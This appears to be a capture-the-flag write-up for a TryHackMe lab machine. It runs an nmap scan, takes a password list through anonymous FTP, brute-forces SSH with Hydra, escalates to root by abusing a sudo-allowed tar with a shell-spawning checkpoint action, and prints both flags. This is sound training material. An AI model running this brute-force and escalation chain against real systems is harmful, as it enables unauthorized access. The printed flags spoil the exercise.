Nmap

$ nmap -A 10.10.104.241 -v

PORT      STATE  SERVICE         VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp             vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Cant get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.4.5.126
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp    open   http            Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
990/tcp   closed ftps
40193/tcp closed unknown
40911/tcp closed unknown
41511/tcp closed unknown
42510/tcp closed caerpc
44176/tcp closed unknown
44442/tcp closed coldfusion-auth
44443/tcp closed coldfusion-auth
44501/tcp closed unknown
45100/tcp closed unknown
48080/tcp closed unknown
49152/tcp closed unknown
49153/tcp closed unknown
49154/tcp closed unknown
49155/tcp closed unknown
49156/tcp closed unknown
49157/tcp closed unknown
49158/tcp closed unknown
49159/tcp closed unknown
49160/tcp closed unknown
49161/tcp closed unknown
49163/tcp closed unknown
49165/tcp closed unknown
49167/tcp closed unknown
49175/tcp closed unknown
49176/tcp closed unknown
49400/tcp closed compaqdiag
49999/tcp closed unknown
50000/tcp closed ibm-db2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP

$ ftp 10.10.104.241
Connected to 10.10.104.241.
220 (vsFTPd 3.0.3)
Name (10.10.104.241:kalaratri): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07 20:41 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07 20:47 task.txt
226 Directory send OK.
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
226 Transfer complete.
418 bytes received in 0.07 secs (6.1700 kB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.07 secs (1.0068 kB/s)

$ cat locks.txt 
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e

$ cat task.txt 
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin

Hydra

$ hydra -l lin -P locks.txt ssh://10.10.104.241
[22][ssh] host: 10.10.104.241   login: lin   password: RedDr4gonSynd1cat3

SSH

$ ssh [email protected]

$ cat user.txt 
THM{CR1M3_SyNd1C4T3}

$ sudo -l
[sudo] password for lin: 
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar

# <https://gtfobins.github.io/gtfobins/tar/>

$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# ls /root
root.txt
# cat /root/root.txt
THM{80UN7Y_h4cK3r}

# or

$ LFILE=/root/root.txt
$ sudo tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
THM{80UN7Y_h4cK3r}